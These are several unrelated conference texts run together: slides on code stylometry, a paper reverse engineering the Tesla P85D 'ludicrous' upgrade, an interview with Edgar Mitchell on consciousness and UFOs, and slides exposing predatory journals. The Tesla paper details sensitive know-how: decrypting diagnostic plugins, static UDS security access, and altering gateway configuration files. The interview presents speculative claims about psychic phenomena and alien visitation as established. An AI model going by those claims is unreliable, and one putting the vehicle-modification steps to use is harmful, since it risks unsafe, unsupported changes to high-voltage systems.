layout C4.5 decision tree 74.7% Shevertalov et. al. 20 N/A N/A Java lexical & layout Genetic algorithm 80% Frantzeskou et al. 30 333 172 Java lexical & layout Nearest neighbor 96.9% Ding and Samadzadeh 46 225 N/A Java lexical & layout Nearest neighbor 55.2% Ours 35 315 68 C++ lexical & layout & syntactic Random forest 100.0% Ours 250 2,250 77 C++ Random forest 98.0% August 10, 2018 60 Publications Usenix 2015: Aylin Caliskan-Islam, Richard Harang, Andrew Liu, Arvind Narayanan, Clare Voss, Fabian Yamaguchi, and Rachel Greenstadt. De-anonymizing Programmers via Code Stylometry. 24th Usenix Security Symposium (Usenix 2015). Random Forest Classifier A B C D De-anonymizing Programmers Fuzzy Parsing Identifying Programmer Fingerprints Language Processing Supervised Machine Learning Privacy and Security Implications Source Code August 10, 2018 61 Publications & Code on github NDSS 2018: Aylin Caliskan, Fabian Yamaguchi, Edwin Dauber, Richard Harang, Konrad Rieck, Rachel Greenstadt, and Arvind Narayanan. When Coding Style Survives Compilation: De-anonymizing Programmers from Executable Binaries (NDSS 2018). Usenix 2015: Aylin Caliskan-Islam, Richard Harang, Andrew Liu, Arvind Narayanan, Clare Voss, Fabian Yamaguchi, and Rachel Greenstadt. De-anonymizing Programmers via Code Stylometry. 24th Usenix Security Symposium (Usenix 2015). 62 Source code stylometry •Everyone learns coding on an individual basis, as a result code in a unique way, which makes de-anonymization possible. •Software engineering insights • programmer style changes while implementing sophisticated functionality • differences in coding styles of programmers with different skill sets •Identify malicious programmers. August 10, 2018 63 Case 2: Obfuscation •Who is the programmer of this obfuscated source code? •Code is obfuscated to become unrecognizable. •Our authorship attribution technique is impervious to common off-the-shelf source code obfuscators. August 10, 2018 64 Case 3: Copyright investigation •Copyleft programs are free but licensed •Did this programmer take a copyleft code and distribute it commercially? • Jacobsen vs Katzer (Java Model Railroad Interface) •Two-class machine learning classification task • Class 1: the copyleft code • Class 2: the copyright code August 10, 2018 65 Case 3: Copyright investigation 30 pairs of authors each with 9 program files Classification Accuracy Two-class task 100% Jacobsen Katzer August 10, 2018 66 Case 5: Coding style throughout years •Is programming style consistent? •If yes, we can use code from different years for authorship attribution. 2014 2012 … … August 10, 2018 67 Case 5: Coding style throughout years •Is programming style consistent? •If yes, we can use code from different years for authorship attribution. 2014 2012 … … August 10, 2018 68 Case 5: Coding style throughout years •Coding style is preserved up to some degree throughout years. Train on 25 authors from 2012 to identify the author of 25 files in 2014 train test 96% accuracy August 10, 2018 69 Case 5: Coding style throughout years •98% accuracy, train and test in 2014 •96% accuracy, train on 2012, test on 2014 Train on 25 authors from 2012 to identify the author of 25 files in 2014 train test 96% accuracy August 10, 2018 70 • Insights about programmers and coding style: • Implementing harder functionality makes programming style more unique Case 6: Difficult tasks & advanced coders Same set of 62 authors Classification Accuracy Solving 7 easy problems 98% Solving 7 more difficult problems 99% August 10, 2018 71 • Insights about programmers and coding style. • Better programmers have more distinct coding style Two sets of 62 authors Classification Accuracy Less advanced programmers 97% More advanced programmers 98% Case 6: Difficult tasks & advanced coders August 10, 2018 72 Feature set: Using ‘only’ the Python equivalents of syntactic features Application Programmers Instances Result Python programmer de-anonymization 229 2,061 53.9% Top-5 relaxed classification 229 2,061 75.7% Python programmer de-anonymization 23 207 87.9% Top-5 relaxed classification 23 207 99.5% Case 7: Generalizing the approach - python August 10, 2018 73 Comparison to related work preprocessing extract features majority vote A B C D random forest fuzzy AST parser 600 contestants – C++ de-anonymized programmers August 10, 2018 74 Comparison to related work August 10, 2018 Related Work Number of Programmers Number of Training Samples Classifier Accuracy Rosenblum et al. 20 8-16 SVM 77% This work 20 8 SVM 90% This work 20 8 Random forest 99% Rosenblum et al. 191 8-16 SVM 51% This work 191 8 Random forest 92% This work 600 8 Random forest 83% 75 Amount of Training Data Required for De-anonymizing 100 Programmers August 10, 2018 76 Reducing Suspect Set Size: Top-n Classification August 10, 2018 77 Open world: Classification thresholds for verification August 10, 2018 78 Reconstructing original features August 10, 2018 • Original vs predicted features • Average cos similarity: 0.81 • Original vs decompiled features • Average cos similarity: 0.35 This suggests that original features are transformed but not entirely lost in compilation. 79 Ongoing work - DARPA •Malware author attribution •Dataset with ground truth •Automated malware analysis August 10, 2018 80 Future work •De-anonymizing collaborative code • Group fingerprint vs individual fingerprint •Anonymizing source code • Obfuscation is not designed for anonymization August 10, 2018 81 Underground forums •Micro-text •L33t sp34k •Multi-lingual •Products •Doppelgänger Finder • Carders No technical difference between security-enhancing and privacy-infringing August 10, 2018 82
pdf
Tesla released the P85D in 2014. At that time the vehicle came with "insane mode" acceleration with a 0-60 time of 3.2 seconds. Later in July of 2015, Tesla announced "Ludicrous mode" that cut the 0-60 time down to 2.8 seconds. This upgrade was offered both new and as a hardware and firmware change to the existing fleet of P85D vehicles. Since then, Tesla has released newer ludicrous vehicles. What makes the P85D upgrade unique was how the process required changes to the vehicle's Battery Management System(BMS). The BMS handles power requests from the drive units and other components of the car. This paper will outline the ludicrous upgrade process through reverse engineering CAN bus messages, CAN bus UDS routines and various firmware files contained on the car. This process also involved extracting Python source code used for diagnostics to determine that the ludicrous upgrade process involved replacing the contactors and fuse with higher current versions as well as modifying the current sensing high voltage "shunt" inside the battery pack. The process was performed on an actual donor P85D. During the upgrade attempt, the car was bricked, forcing it to be towed to another state for troubleshooting. The cause of the failure was a file contained on the security gateway that had to be modified manually in order to update the gateway with the newer configuration of the vehicle’s battery pack. This paper will outline the structure of that file and how it was successfully modified. Vehicle Overview The Model S powertrain network consists of a standard vehicle CAN bus network running at 500 Kbit/sec. The modules on this network support standard UDS commands, this standard was critical in performing this upgrade process. This CAN bus network as well as several of the other networks all connected to the Security gateway contained within the Central Information Display. This security gateway acts as a vehicular firewall, blocking some CAN bus messages while bridging others onto CAN bus networks, such as the Chassis and Body CAN networks, as well as an ethernet network that wraps CAN bus messages inside UDP packets. This security gateway also contains the vehicle configuration as well as other critical files that this paper will outline alter. BMS Overview The BMS is the deciding module that allows the drive units to have only as much power as the BMS allows. It is contained on a circuit board inside the battery pack, it can only be physically accessed by removing the battery from the vehicle. Figure 1 shows a BMS purchased on the secondary market for this research: Figure 1: BMS Overview The BMS contains the following components: • Texas Instruments DSP TMS320C2809 -- main processor that handles power available, controls the contactors as well as requests from the charger system • Altera CPLD – Hardware backup for the TMS 320 • High Voltage Contactors – Isolates the high voltage battery from the rest of the vehicle • Current Shunt with STM8 – Measures current traveling through the battery pack. • Precharge Resistor – Prevents inrush current damage by bring voltage to the rest of the car up to the level of the battery at a relatively slow rate before both contactors are open • BMB boards on each of the 16 battery pack modules, measures temperature, voltage and contains bleed resistors to balance the 6 sets of series battery arrays inside each of the 16 modules. Figure 2 shows all of these components as well as the high voltage sense wires that connect to each side of the contactors: Figure 2: BMS Components For reference the P85D contains 16 battery modules. Each module contains 444 individual cells contained in arrays with 74 in parallel and 6 in series. Hardware Upgrades Public releases and information on forums hinted that the parts involved were high current contactors with Inconel and a Hybrid Pyro fuse that could handle the additional current. These components were acquired on the secondary market The pyro fuse replaces a traditional melting fuse with one that can be triggered to fire a squib charge that separates two halves of the battery very quickly. Figure 3 shows the two different types of fuses. The conventional fuse is the actual one that came out of donor vehicle. Figure 3: Tesla Fuses The contactors are replaced with higher current capable units. The battery pack must be removed from the vehicle in order to replace these components as well as modify the current shunt. The battery’s high voltage lines are not connected directly to ground. The positive and negative leads from the vehicle are isolated by a significant amount of resistance that is checked on a regularly interval by the BMS. When the fuse is removed half of the battery is isolated from the other half, regardless the components still contain significant voltage and can cause serious injury if precautions are not taken when the work is being completed. These components were removed using high voltage gloves and insulated tools. The battery’s contactor bay contains the BMS, current shunt, and contactors. The two contactors each connect to the negative and positive sides of the battery. The BMS also has voltage sense lines that connect to each side of the contactors terminals, therefore the BMS can detect faults in the contactors that would indicate the contactor(s) are not in the state expected by the BMS. Figure 4 shows the contactor bay with the contactors removed: Figure 4: Contactor Bay The donor vehicle did not encounter any issues when undergoing this process. The team also tested the battery for shorts and high potential resistance changes using electrical diagnostic equipment specifically designed to do those tests. Firmware and Configuration Upgrades Post hardware change, there were configuration and firmware changes made to the vehicle to change the pack configuration to support ludicrous mode power levels. A configuration file on the gateway called “internal.dat” contains the configuration of the car and also contains a value that enables ludicrous mode called performanceaddon There is also an entry for “packconfig” that is different on cars with ludicrous mode enabled. Specific “packconfig” values identify whether or not the battery could support ludicrous power, had an upgrade path to ludicrous or was not capable. The donor vehicle had a pack configuration of “57”, it could be upgraded to ludicrous by changing the firmware to pack configuration “70”. The diagnostic application Toolbox is a Windows application developed by Tesla for working on their vehicles. The application was written in python and contained plugins that were compiled and then encrypted. This application would function even when disconnected from the Internet. It stands to reason that all the information needed to decrypt the plugins would also be contained on a device running the application. These plugins were decrypted and then decompiled using the python module “Uncompyle6”. These plugins contained source code comments and other text that would outline the firmware upgrade process as well as a process to recalibrate the current shunt that the vehicle uses to detect how much current is passing through the battery at any moment. An example plugin is shown in Figure 5: Figure 5: Section of Toolbox Python Source Further examination of these plugins revealed many of the files contained encoded pyside binary data. A quick routine to extract this data from all of the python source code will generate binary files and then Binwalk can be used to extract data from those binary files Below is a subset of data extracted from these binary files: 1. Firmware files for the BMS, including several application and bootloader files 2. Firmware files for the BMS that appeared to be specifically used for the “shunt calibration” routine 3. A python pickle file that, when converted to a .csv file that contained serial numbers of current shunts along with calibration values and crcs. 4. A full set of CAN Database (DBC) files for each of the three primary CAN buses on the car, these contained definitions and values for all of the signals running on the car’s CAN buses. 5. A set of Open Diagnostic data eXchange (ODX) files that contained a number of UDS routines for the various CAN bus connected modules on the car. 6. Numerous comments that help to understand the ludicrous upgrade process. Note that the Model S and X have a developer mode that also decodes many of the CAN bus signals, these are stored in libQtCarCANData.so.1.0.0 file within the car’s firmware. Procuring all of the necessary components was necessary for testing all of the firmware upgrade steps, as well as for calibration of the current shunt. A test bench with a CID, that included the gateway, a BMS with the High Voltage Interlock, the current shunt and a diagnostic connection to allow 3rd party connections to the Powertrain CAN were fabricated to aid in the research. This test bench allowed for testing of the ODX routines as well as validation of many of the steps required to complete this process on the donor vehicle. The application “Vehicle Spy” by Intrepid Control Systems was used to validate the CAN DBC files and test the UDS ODX routines on the bench and donor vehicle. Previous research by other parties indicated that all Tesla modules use a static seed and key for UDS security access on CAN connected modules, this routine was added to Vehicle Spy and tested to be valid on the version of firmware running on the Bench and Donor Car. The python extracted firmware was installed on the bench BMS using data extracted from Toolbox and while observing the CAN bus during a software upgrade. The firmware upgrade process works as follows, the example below upgrades a pack from pack id 57 to 70, relevant to the donor car. Other pack ids are capable of upgrade however they are not covered in this document: 1. Flash the BMS application partition with “withSecondaryBoot_UDSBoot_BMS_GATEWAY_APP_HWID-57.hex” 2. Read the shunt calibration using UDS routine 22 (Read data by id) Id 401 (Figure 6) 3. Lookup the serial number for the shunt in the calibration pickle file 4. Write the shunt calibration using UDS routine 31 (Routine control) id 503 (Figure 7) 5. Read back the shunt calibration to confirm it changed (not sure if this was the process but I did it to be safe) 6. Flash the bootloader on the BMS and change its value from 57 to 70 using “withSecondaryBoot_UDSBoot_BMS-R57_CSM_UPDATER_SVN-68454.hex” as updater code and the flash the actual bootloader with “withSecondaryBoot_UDSBoot_BMS-R70- CSM_SVN-71214.hex” Flash the application partition with the firmware appropriate for the MCU software revision running on the vehicle. 7. Update the gateway “internal.dat” file with the Packconfig 70 (from 57) and add the Performanceaddon 1 line 8. Redeploy software using the CID updater executable or modify the gateway’s firmware.rc file Figure 6: Shunt Read Figure 7: Write Calibration data to Shunt The correct BMS application firmware was identified by examining the “version_map2.tsv” file within the MCU firmware. In this case the valid firmware file was “uds_BMS_ModelS_R70_CONFIG141.hex” which corresponded to an AWD car with a performance rear motor, as shown in the Figure 8 Figure 8: version_map2.tsv file During bench testing, an error was identified after the BMS was upgraded from 57 to 70 with the shunt connected. The BMS generated the error BMS_w140_SW_OverCurrent_Sense after the BMS was configured to version 70, but not before when the BMS was version 57. The logic between the shunt and BMS was analyzed by constructing a breakout board for the original current shunt and it was determined the post upgrade error cleared when a single shunt wire was disconnected from the original shunt that came with the BMS. When this wire was disconnected before the upgrade process was the BMS generated a separate error. This indicated the Hardware and Software upgrades had to happen at the same time. A conversation with a former Tesla tech confirmed a wire needed to be cut on the shunt during the upgrade process. Further analysis indicated the shunt wire that was disconnected in fact connected to the CPLD, as this device was a hardware backup to the TMS320 it made sense that the CPLD would need a way to detect an overcurrent condition. The rear seat was removed from the vehicle and the fuse leading to the front drive unit was replaced with a bus bar, per the notes in the Python code. After the upgrade the car indicated a higher current was available, as shown in Figure 9: Figure 9: New Current Limits For reference the current limits prior to the upgrade are shown in Figure 10: Figure 10: Pre-upgrade Current Limits The Donor Car would not engage into drive and the gateway indicated a BMS mismatch, this error was expected as it was generated on the bench during testing. The error was supposed to clear with either a firmware redeploy or firmware upgrade, however both failed. After analysis of the logs, an error regarding “firmware.rc” was seen. The only reference I could find to this file was in a previous security talk where the file was used by the security gateway. Similar to how the “internal.dat” configuration file was requested. This file was then downloaded from the security gateway and examined. A snippet is shown in Figure 11: Figure 11: Section of firmware.rc Note the 4-byte values for bms and filecrc. The value for the bms corresponded to a packid 57 firmware from the “version_map2.tsv” file and the file crc value was a crc32/jamcrc value of the entire file, minus the crc line. The firmware.rc file bms line was modified, the crc value recalculated and this file was uploaded to the gateway. Once the gateway was rebooted the errors cleared and the car could be put into drive and driven with the additional power from ludicrous.
pdf
Interview with Edgar Mitchell, ScD., Captain USN (Ret) by Richard Thieme RT: You’ve been involved with consciousness studies, including the exploration of UFOs, for some time. What’s your primary focus? EM: My focus has never been primarily on UFOs. My focus has been consciousness studies for thirty years. I kind of back doored into this because of my work in consciousness studies and talking to John Mack about abductees or experiencers as he prefers to call them. I ran into a large number of what I call the “old timers,” people in government, in the military and intelligence work going back fifty years, who say, “Yes, it’s all true.” RT: When I was a parish priest on the edge of an air force base, I was told by a member of the parish, an air force fighter pilot, that the basic reports were true – that our pilots have encountered vehicles which have paced fighters and literally flown rings around them, doing things that even in black budget projects at the time were impossible. Because I know that black budget projects create technologies that seem fantastic to ordinary people, I like to focus on early reports, from 1947-1952, when the waters were not quite so muddy. EM: That has been my focus too. I grew up in Roswell NM and remember when that story broke. I was just a kid in high school. When it was dismissed the next day as weather balloons I wrote it off and went about my business. My grandparents were in the cattle business and knew the Brazells. So we were there but it never really came back to me until ten-twelve years ago when I really became interested in the consciousness stuff and John Mack and I started getting literature and seeing names I recognized from Roswell. I was close personal friends with Werner von Braun. Although he never mentioned that event, he was very interested in my consciousness work. And then a few other people, military, retired generals and admirals, that years ago I happened to encounter, and they all said oh yes, it really was all real, we just couldn’t talk about it at the time. They’re still reluctant to talk about it. RT: “It” means ...?” EM: Something like the Roswell incident was real. I’m not sure we have all the details correct right down to the nitty-gritty fundamentals but the fact of the incident itself and it being a non-earth craft, that seems to be without question according to the testimony of these people. RT: What is your understanding of the phenomena at this point? EM: We discovered 8-9 years ago a mechanism in physics called the quantum hologram. It was discovered trying to perfect MRI machines and build quantum computers. Trying to improve the resolution and imaging on a MRI resulted in the quantum hologram. It’s rooted in the fact that matter at its most basic level does not consist of ping-pong-ball atoms but flowing dynamic energy. Quanta of energy are emitted and reabsorbed by all matter down to the most basic level. Those emissions from all physical objects are quanta but it has turned out that they are sufficiently coherent that they carry information about the object and we now have both theory and good experimental evidence on that fact. The interesting thing is that the information is non-local. The formalism of the quantum hologram is non-local. To have nature having a non-local information structure that carries the event history of each physical object puts a whole different perspective on things. When these guys brought this to me I had given a lecture at Cambridge University, St John’s College, in England, on what I call a dyadic model, which says, if you start with energy and information and define information as patterns of energy, then the basis of our universe has two fundamental aspects. It exists because of its energetic structure and it’s knowing because of the information structure. If you start with that basic premise, that energy has two forms, a structural form and a patternal form which is the basis of knowing anything, so that information is the basis of knowing anything and patterns of energy are just information, if you start with that you can build a pretty decent cosmology for an evolving knowing thinking universe. Because we evolved out of it and are part of the universe, therefore it must be a knowing thinking universe. This also goes back to the very definition of non-locality coming out of quantum physics, that particles ever interacting maintain a spin correlation wherever they go until they interact with something else. The quantum hologram takes that idea from the particle level and expands it to all macro scale objects. It extends quantum mechanics from the particle level to virtually all matter. And it says that all matter not only has a local here- and-now structure but also a non-local everywhere informational structure. The history, the events in the life of that object, are carried non-locally throughout the universe. We know so little about the characteristics of non-locality. With the quantum hologram, it is mathematically defined that information is recovered through resonance. We have written the math on it and we have physically done it in the laboratory. But still, exactly how a non-local resonance takes place, we don’t know; we know it takes place in far distances compared with the size of a particle, but what that means in terms of the universe, I haven’t the faintest idea. And neither does anyone else. But still, the mathematics shows that the hologram is non-local and if you look carefully it starts to show why we have psychic experience and internal mystical experience, in fact, it seems to be why we have subjective experience at all. RT: I used to facilitate exercises in psychometry during which people attempted to receive impressions or information from objects. Some of the results were striking. EM: Richard, that is precisely what the quantum hologram as a structure explains. So I have written several papers on this, as are others. I started working on it in 1995 after these fellows came to me after my lecture and said we think we’ve found a structure that seems to validate what you’re saying about information, we’re using it for quantum computers and MRI machines. Those guys and I have been working on this for five years and the concepts are finding their way through the science and physics literature. Not in Nature yet but a few mentions, no major article yet – they’re too conservative – but papers have been written on how DNA learns, how cells learn. Our thesis is that consciousness is not a thing but a feedback loop in nature. How does an electron know what its spin is supposed to be if it’s across the universe from its partner? If you take that to the complex level of the organized brain, then the knowing is appropriate. But the very basis of this non-local resonance that occurs at the particle level, if you then say, it is a feedback loop, a resonance feedback loop which we observe here in macroscopic nature, it would appear that this is precisely what consciousness is, except that I prefer the words awareness or perception, because it appears that only animals with brains have self- awareness and only Homo sapiens have self-reflective awareness and can reflect upon our reflections. All animals with a brain can distinguish self from nature, but animals without brains have awareness and perception but not self-awareness, they’re part of the environment. If you trace that down to the inanimate world where the quantum correlation of particles prevails and the quantum hologram is still a property of inanimate matter, it’s saying that nature does not lose its experience, nature is informational and conscious at some level. That’s the work I have been pursuing. To say that consciousness is not amenable to scientific study is just plain wrong. RT: The biggest barrier is scientific – EM: Kuhn was right and so was Max Planck, who said that progress in science is not made by convincing skeptics but funeral by funeral. That’s what we’re dealing with. RT: Whether it’s religion or science, the dynamics are the same. EM: To jump to the bottom line, the quantum hologram is as close as we come in the moment to the theological concept of spirit of soul. What it doesn’t do in this model is have discarnate action, it’s an informational structure, and that fits into the great sea of consciousness concept which this model suggests is absolutely right. RT: Are other astronauts involved in this search? EM: Not many astronauts are philosophically deep. But many of the younger ones accept UFO phenomena and are open to meditation or the paranormal and other consciousness explorations. I have often been a lone wolf, a voice in the wilderness, but I have worked in this for thirty years and it’s finally paying off. RT: What you’re saying makes sense from so many converging points of view that are helping us construct reality in new ways. EM: The Cartesian division between materialism on one side and spirituality and mentality on the other in a different realm is wrong. RT: Paranormal phenomena is very difficult to discuss because, by the time you can say what “it” is, the names disappear. They names don’t distinguish real differences. EM: They don’t mean anything. That’s exactly right. And that’s what the quantum hologram shows. People who purport to communicate with the dead or have psychic experiences are picking up information from the morphogenetic field or the holographic field and as far as they’re concerned, it’s real, and it is real, but their interpretation is not correct. RT: Abduction “evidence” too comes from people in altered states either at the time or afterward at the hands of researchers. So how can we know the objectivity of what’s reported? EM: That’s right,. People will interpret it through their own experience and biases. That’s how I got involved. John Mack was reading some of my material and asked me how to interpret some of his work. That’s what got me into the ET stuff. Also, given this type of model, and chaos theory, the bottom line is, we live in a self-organizing creative intelligent learning trial-and-error participatory interactive evolving universe. That’s quite a different story than we had twenty years ago. And it sets the stage to say that life has evolved everywhere the environmental conditions are correct. RT: If life can happen, it will happen. EM: Exactly. Much of 20th century science, like special relativity, limits on the speed of light, dismissing non-locality as unimportant, all that is being challenged as just being wrong. I think over the next few decades, we will discover the physics that allowed ETs to get here. RT: You wrote a very strong endorsement of Paul Hill’s “Unconventional Flying Objects: a scientific analysis” (Hampton Roads: 1995) which articulates a solid basis in contemporary physics for understanding the propulsion systems of UFOs as observed and reported. You wrote, “Paul Hill has done a masterful job ferreting out the basic science and technology behind the elusive UFO characteristics and demonstrating they are just advanced and exotic extensions of our own technologies.” EM: Yes. He was right on. He did a good study of the data. The data says things on radiation, energy, he uses “force field,” we would call that zero-point energy field now, but by and large he approached it correctly. He had very good data, categorized it and evaluated it according to science as understood now. He said, we don’t have it yet but it’s not outside the realm of science that we understand. RT: What’s your sense at the age of seventy of where this is all headed? How will you be thinking about this in five or ten years? EM: In space I had an epiphany, an experience of the connectedness of everything. I later came to understand it. It’s where you experience, see the separateness of things with your physical eyes but experience the connectedness of all things in an altered state. From that point on, life was never the same for me. I had to come out and find what these deep issues are, recognizing that our scientific cosmology was incomplete and out religious cosmologies archaic. I was looking for a new myth about ourselves, but by myth I mean truth. For thirty years, we have been looking at connecting these dots and finding new dots to connect to create the picture better. All of these changes in science, beginning with chaos structure and special relativity and its limitations. and discovering what the devil resonance means in terms of non locality, to me those are the key elements because they bring consciousness into it. They bring the fact that information in the universe is not limited by the speed of light and maybe nothing else is either. I think within the next decade or so and probably within the next few years the real truth of this visitation we have experienced will be uncovered. The momentum is building for that right now, very strongly. Now, I always have to qualify my remarks by saying, I have no firsthand experience with ET stuff or even UFO stuff so I have to preserve some wiggle room by saying I could be totally wrong – RT: But that’s the way it looks. EM: That’s the way it looks at the moment. Our science in the 21st century will do very shortly to Einstein and Pauli and Schroedinger what they did to Newton a hundred years ago. Their science is great as far as it goes but it doesn’t go far enough. RT: If it’s good science that has to happen. EM: It has to happen. I think we’re ready for a major paradigm shift. We’re already seeing it on the frontiers of science. Mainstream academicians are still stuck but it doesn’t look like the Big Bang is the right answer. Hoyle’s most recent work, Halton Arp’s most recent work, is powerfully damning to the Big Bang, which is a knee-jerk reaction to the red shift. It’s just not right. So we have, it looks like, a whole new era of science about to open up, provided that humanity can survive. RT: Let me take the ET hypothesis one step further. Most of the people I talk to – various individuals, never anyone on the record, but people who have had astonishing encounters, air force pilots, commercial pilots, even some in the intelligence community say that while what they are saying is not classified, they have talked to X off the record who talked to Y – these people seem to generally articulate the same point of view on the reality of UFO phenomena, the reality of visitation. But given what we know about psychological operations and counter-intelligence, cover and deception, simulated phenomena to cover technological advances, I can’t go any further that listening to what they report and remaining agnostic. I don’t know how much is bumbling, or organized forgetfulness, or confusion, or intentional disinformation. EM: There is so much disinformation and misinformation that is deliberate. There is clearly a covert attempt to disguise and debunk this information. RT: So how do we know? How do we know what we know? What methodology, what procedure would a reasonably intelligent guy follow to determine as clearly as he can what is likely to be likely? EM: Richard, I can’t answer that question, only because I think in terms of chaotic systems, systems in disequilibrium. When systems are far from equilibrium they are not predictable and they can go any way, and this is a not-predictable system, it’s a pot boiling, and exactly where it will break out and bubble over, no one has the answer to that. It is going to be determined by the collective unconscious more than the plans of whoever is trying to keep the lid on this. There’s no doubt that someone is trying to keep the lid on it. Who that is, how it is, where it is, we only get glimmers. I have personally been told by a senior officer on a joint intelligence committee a few years ago – all he would say, when asked the question, is there an organization still doing all this? all we could get out of him was, a couple of weeks later, after he did some checking, “Yes. You’re right.” That’s all he would say. I don’t know what much more we could do. What some of us are trying to do is get congressional pressure put on it, but politicians are so politically sensitive about their careers that not one in ten thousand will touch it. We tried and tried and almost got there a few times and then they backed out. RT: At that point, you have no idea what they’re encountering in terms of resistance. EM: No we don’t. We don’t know if someone came in the office and closed the door and told them, shut your goddamn mouth or it’s peer pressure or election pressure or what. RT: Without triangulating data, you can’t know. EM: No. All we can do is go on the preponderance of data and the preponderance of data is so overwhelming that at least some portion of this activity is ET activity. A goodly portion of it, it would now appear, is not ET activity. There are black programs where they can emulate some of the so-called ET phenomenon. It appears they are doing it. But when we’ve said these things, we can’t say them with a hundred per cent certainty. We’re still guessing. It’s a terribly complex, difficult phenomena and there are a lot of people opposed. The fundamentalist religious community recognizes that it will destroy established religion as we have known it, if it comes out. In my opinion, the theological structure that comes closest to what we’re seeing with quantum holographic work is Tibetan Buddhism. It comes right out of shamanism and Buddhism as it entered Tibet centuries ago. I consider the dispersed Tibetan scholars to be some of the greatest scholars on consciousness studies that we have. Their notion of spirit, reincarnation, etc., dovetails well with work in quantum holography. I lecture on reincarnation and say that you can’t tell the difference in principle between an old soul and a new soul with a long memory. You just tune into the collective unconsciousness, and claim the memories as your own. From a therapeutic point of view it does not matter what model or structure you use. If people trying to resolve early life trauma can pull out of the collective unconscious information about an event that can help them understand or heal their trauma, it doesn’t matter where it comes from. It’s irrelevant from the therapeutic point of view but for those of us trying to articulate the new mythology disguised as truth, it’s important. RT: Explanations have to be congruent with the other pieces of our constructions of reality. We’re trying to build a multi-faceted construction of reality now within which we can have discourse like this. That’s challenging. EM: Much of what happened to me that I would have liked to talk about, I have not talked about for thirty years, because the culture had not moved far enough forward for it even to compute. I would have sounded like a madman. RT: Breakthrough ideas always sound crazy. You have to build bridges to others’ consensus reality so they can speak with you. EM: Exactly right. Thirty years ago, working with mystics and shamans, seeing what was real … yes, it was real, but how do you fit it into a framework that matches the rest of reality that we know about? If we could get the world’s leaders out there to look at the earth from deep space, we would have a very different political system than the one we have. In 1971, Dr. Edgar Mitchell, then a U.S. Navy Captain, became the sixth man to walk on the moon. He is a scientist, test pilot, navel officer, astronaut, entrepreneur, author and lecturer. In 1973, he founded the Institute of Noetic Sciences to sponsor research in the nature of consciousness. He is co-founder of the Association of Space Explorers, an international organization founded in 1984 for all who share the experience of space travel. He is author of The Way of the Explorer (Putnam, 1996) and Psychic Exploration: A Challenge for Science (G.P. Putnam's Sons, 1974.
pdf
Art by Francesco Ciccolella www.francescociccolella.com Inside the Fake Science Factory Svea, Chris & Till Presented at DEF CON 26. Las Vegas 11th August 2018. Talk questions + answers 16.45 This talk Documentary Longer questions + answers 17.45 16.00 Design Conduct experiments Preliminary results Writing paper Feb 2016 Feb 2017 August 2016 Reasonably far Research paper progress HAHAHAHAHA, HAHAHAHAHA, no. wasetwatch.wordpress.com Predatory Publishing “Predatory conferences or predatory meetings are meetings set up to appear like legitimate scientific conferences but which are exploitative as they do not provide proper editorial control over presentations and advertising can include claims of involvement of prominent academics who are, in fact, uninvolved.” Source: Wikipedia “Predatory publishers hurt scientists, science, and the communication of science. They trick scientists, pretending to operate as legitimate publishers, when they are essentially counterfeit and only seeking to earn a quick profit.” Jeffrey Beal 23 media partners 60+ journalists We need some help! We need some help! Credits: Jeremy Stribling, Max Krohn, Dan Aguayo (2005) Source: https://pdos.csail.mit.edu/archive/scigen/ A Sting Operation Art by Francesco Ciccolella www.francescociccolella.com Highly-Available, Collaborative, Trainable Communication - a policy neutral approach Christian Schreibaumer, Ph. D. Isabella Stein University of Applied Sciences of Lower Saxony at Himmelpforten International Conference on Systems, Computing and Software Engineering, London 2018 Video - WASET Art by Francesco Ciccolella www.francescociccolella.com Fake Cancer Cures Miracle Cancer cures Bees are awesome. Can they heal cancer? Probably not. But who knows? „This is a non-scientific approach, just to make money.“ Miracle Cancer cures that aren’t Reviewer comments: "The study provided important experimental and pre-clinical evidences demonstrating the potential application of Bio99TM propolis in cancer treatment." "Authors may want to clarify what "SiTF" means in Fig. 1" "Hopefully your research study had Ethics Board review and approval? Better state so. You were intervening w/ human subjects." Miracle Cancer cures Miracle Cancer cures Miracle Cancer cures „Propolis is a natural compound produced by bee species such as the Western honeybee, Apis mellifera, known for its antioxidant, antimicrobial, antifungal and antipyretic properties. In this way it has been popular as a health promoter since antiquity. Furthermore, there are no known instances of adenocarcinoma in Apidae...“ But the general nature of Apidae and their ethologic patterns (as described by Gibbs 2012) further suggest a positive outcome of a propolis based therapy and the development of such propolis-based drugs. 4. Miracle Cancer cures that aren’t Miracle Cancer cures that aren’t GCMAF Source: First Immune Video - GcMAF – Advertisement with studies “These studies are wanky. (...) I don't think it's transparent at all for a layman.” - They look at isolated cases. - They use inappropriate testing methods - They are packed with positive assessments - They are so flawed that they should never have been published in a scientific journal at all “They exist so that internet pages where these products are sold can link to these scientific articles.” Dr. Hope Dr. Hope Dr. Hope Video – best friend, Eva Dr. Hope R.I.P. July 2016 - British manufacturer, First Immune, is set to go on trial in London in November. - The files allege that he illegally sold GcMAF as a cancer drug. Based on false studies. - Our request for comment went ignored. • Autism • Chronic fatigue syndrome • Different cancer types • Depression • Anxiety • Immobility Art by Francesco Ciccolella www.francescociccolella.com Building a bigger picture Introducing a Polymorphic Machine Learning Defense for Cyber Attacks Against Gibson Mainframe Computers Dade Murphy, Kate Libby Abstract—Gibson based mainframe computer platforms remain vulnerable to a specific class of buffer overflow first identified in 1988. Specifically, it is possible to corrupt the magnetic core memory stack by writing past the end of protected colonel memory. Code that does this is said to have “Hacked the Gibson”, causing a return from the routine to jump to a random address. This gives an attacker access to the superuser account, from where they have access to the whole system. As of writing, the only defense is to situate Gibson based mainframe computer behind seven or more proxies. Combining next generation, dynamic malware analysis techniques with polymorphic machine learning ZeroR classifiers, we demonstrate a 97.435% accuracy in detecting such attacks. Specifically, we designed four layered ZeroR classifiers which self-modify based on four distinct features present in malicious packets. Features consist of whether the packet has the FIN, URG and PSH flags set and how fragmented the packet is overall. We extensively evaluated our algorithm on a diverse spectrum of corpora with 81,337 malicious packets and 48,183 legitimate packets. Our results offer a promising advance in addressing a vulnerability which has existed for nearly three decades. Introducing a Polymorphic Machine Learning Defense for Cyber Attacks Against Gibson Mainframe Computers Dade Murphy, Kate Libby Abstract—Gibson based mainframe computer platforms remain vulnerable to a specific class of buffer overflow first identified in 1988. Specifically, it is possible to corrupt the magnetic core memory stack by writing past the end of protected colonel memory. Code that does this is said to have “Hacked the Gibson”, causing a return from the routine to jump to a random address. This gives an attacker access to the superuser account, from where they have access to the whole system. As of writing, the only defense is to situate Gibson based mainframe computer behind seven or more proxies. Combining next generation, dynamic malware analysis techniques with polymorphic machine learning ZeroR classifiers, we demonstrate a 97.435% accuracy in detecting such attacks. Specifically, we designed four layered ZeroR classifiers which self-modify based on four distinct features present in malicious packets. 